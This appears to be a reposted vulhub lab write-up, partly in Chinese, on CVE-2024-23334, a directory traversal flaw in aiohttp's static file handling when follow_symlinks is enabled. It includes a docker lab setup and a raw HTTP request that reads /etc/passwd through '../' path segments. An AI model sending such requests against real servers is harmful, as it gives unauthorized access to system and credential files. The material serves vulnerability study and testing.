aiohttp Directory Traversal Vulnerability

漏洞信息

漏洞名称: aiohttp Directory Traversal Vulnerability

漏洞编号:

  • CVE: CVE-2024-23334

漏洞类型: 目录遍历

漏洞等级: 高危

漏洞描述: aiohttp是一个为asyncio和Python设计的异步HTTP客户端/服务器框架。当使用aiohttp作为Web服务器并配置静态路由时,需要指定静态文件的根路径。此外,可以使用’follow_symlinks’选项来决定是否跟随静态根目录之外的符号链接。当’follow_symlinks’设置为True时,没有验证检查读取的文件是否在根目录内。这可能导致目录遍历漏洞,即使不存在符号链接,也可能导致未经授权访问系统上的任意文件。受影响的版本包括3.9.1及更早版本。

受影响产品: aiohttp是一个广泛使用的异步HTTP客户端/服务器框架,适用于需要高性能网络通信的Python应用程序。它常用于构建微服务、API服务器和其他需要异步处理的网络应用。由于其轻量级和高性能的特点,aiohttp在开发社区中非常受欢迎。

漏洞解释: 此漏洞属于目录遍历类型,技术根源在于当’follow_symlinks’设置为True时,aiohttp未能正确验证文件路径是否位于配置的静态文件根目录内。这使得攻击者可以通过构造恶意的路径来访问服务器上的任意文件,如系统文件/etc/passwd,从而导致信息泄露或其他更严重的安全问题。

影响分析: 此漏洞允许攻击者绕过预期的文件访问限制,读取服务器上的敏感文件。这可能导致敏感信息泄露,如用户凭证、系统配置等,进而可能被用于进一步的攻击。由于此漏洞可以通过网络远程利用,且不需要任何形式的认证,因此其潜在的安全风险非常高。攻击者可以自动化利用此漏洞,对受影响系统进行大规模扫描和攻击。

产品厂商: aiohttp

产品名称: aiohttp

影响版本: version <= 3.9.1

来源: https://github.com/vulhub/vulhub/blob/8c71a611ea83ec634bd7039db8c729fa91ffeb6f/python%2FCVE-2024-23334%2FREADME.md

类型: vulhub/vulhub:github issues

来源概述

aiohttp Directory Traversal Vulnerability (CVE-2024-23334)

中文版本(Chinese version)

aiohttp is an asynchronous HTTP client/server framework for asyncio and Python.
When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option ‘follow_symlinks’ can be used to determine whether to follow symbolic links outside the static root directory.When ‘follow_symlinks’ is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. The affected versions include 3.9.1 and earlier.

References:

Environment Setup

Execute the following command to start a aiohttp server v3.9.1:

1
docker compose up -d

After the server starts, the web page can be accessed by visiting http://your-ip:8080/ in a browser.

Vulnerability Reproduction

This vulnerability can be exploited by crafting a malicious path to access arbitrary files on the server.

For example, to view the system file /etc/passwd, send the following request:

1
2
3
GET /static/../../../../../etc/passwd HTTP/1.1
Host: your-ip:8080
Content-Length: 2

Request crafted to access /etc/passwd

If successful, you will see the contents of /etc/passwd. which proves that the vulnerability exists.


aiohttp Directory Traversal Vulnerability
http://example.com/2025/07/05/github_2025754880/
作者
lianccc
发布于
2025年7月5日
许可协议